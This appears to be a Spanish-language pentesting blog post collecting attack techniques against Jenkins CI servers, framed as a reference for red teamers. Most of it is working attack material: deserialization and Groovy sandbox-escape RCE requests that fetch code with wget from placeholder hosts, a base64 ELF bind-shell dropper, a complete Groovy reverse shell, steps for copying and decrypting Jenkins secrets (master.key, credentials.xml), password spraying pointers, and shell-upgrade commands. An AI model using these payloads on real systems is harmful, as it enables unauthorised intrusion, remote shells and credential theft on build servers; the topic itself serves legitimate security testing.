Pentesting de Jenkins

Jenkins es un servidor open source de integración y entrega continua (CI/CD) escrito en Java y uno de los softwares de automatización más usados en nuestros días, con más de 14.000 plugins para todo tipo de tareas. Eso le convierte en uno de los principales objetivos para un redteamer/pentester ya que a menudo se encuentran credenciales y código propietario además de una consola para lanzar Groovy scripts, todo ello facilitando a menudo llevar a cabo una intrusión. 

En esta entrada traemos fundamentalmente distintas técnicas recopiladas en el repo de Guillaume Quéré aderezado con alguna cosillas que iremos ampliando según vayamos encontrando. Un buen recurso para tener a mano en nuestros ejercicios de auditoría :-P

Ejecución remota de código

Deserialización en versiones antiguas de Jenkins (CVE-2015-8103, Jenkins 1.638 y anteriores)

Usa ysoserial para generar un payload. Luego el RCE usando este script:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Bypass de la autenticación/ACL (CVE-2018-1000861, Jenkins <2.150.1)

Aviso de Jenkins

Más detalle aquí.

Si Jenkins solicita autenticación pero devuelve datos válidos usando la siguiente petición, es vulnerable:

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

Metaprogramming en Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Aviso de Jenkins

Vulnerabilidad RCE original aquí, exploit completo aquí.

RCE alternativo con permisos Overall/Read y Job/Configure aquí.

CheckScript (CVE-2019-1003029, CVE-2019-1003030)

Aviso de Jenkins, Créditos.

Comprueba si una instancia de Jenkins es vulnerable (necesita permisos Overall/Read) con algo de Groovy:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Ejecuta comandos bash arbitrarios:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

Si no obtienes inmediatamente una shell inversa, puedes debuggear lanzando una excepción:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

Git plugin (<3.12.0) (CVE-2019-10392)

Aviso de Jenkins, Créditos.

Este solo funcionará si un usuario tiene los permisos de 'Jobs/Configure' en la matriz de seguridad, por lo que es muy específico.

Dumpear builds para encontrar secrets en texto claro

Utiliza este script para descargar los resultados de la consola del build y las variables de entorno de compilación para, con suerte, encontrar secrets en texto claro:

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

Password spraying

Usa este script en python o este script en powershell.

Archivos a copiar después de comprometer el servidor

Estos archivos son necesarios para descifrar los secrets de Jenkins:

  • secrets/master.key
  • secrets/hudson.util.Secret

Dichos secretos generalmente se pueden encontrar en:

  • credentials.xml
  • jobs/.../build.xml

Aquí hay una expresión regular para encontrarlos:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Descifrar los secrets de Jenkins offline

Usa este script para descifrar secrets dumpeados anteriormente.

Uso:
	jenkins_offline_decrypt.py <jenkins_base_path>
o:
	jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
o:
	jenkins_offline_decrypt.py -i <path> (interactive mode)

Groovy Scripts

Descifra los secretos de Jenkins de Groovy

println(hudson.util.Secret.decrypt("{...}"))

Ejecución de comandos desde Groovy

def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

Para comandos shell de varias líneas, usa el siguiente truco (el ejemplo incluye una bind shell):

def proc="sh -c \$@|sh . echo /bin/echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgD96UiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU= | base64 -d > /tmp/65001".execute();

Automatízalo si quieres con este script.

Shell reversa desde Groovy

String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Dejo este consejo para la shell reversa para recuperar un PTY completamente funcional en caso de que alguien lo necesite:

python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy

Herramientas para pwnear Jenkins

Jenkins attack framework

Accenture ha lanzado recientemente Jenkins Attack Framework (JAF), una nueva herramienta dirigida a pentesters y redteamers que puede revelar muchas formas en las que se puede abusar del popular servidor de automatización: https://github.com/Accenture/jenkins-attack-framework

Metasploit

Metasploit también incluye algunos módulos interesantes que facilitan la explotación de Jenkins. Te recomiendo echar un vistazo a https://book.hacktricks.xyz/pentesting/pentesting-web/jenkins

Comentarios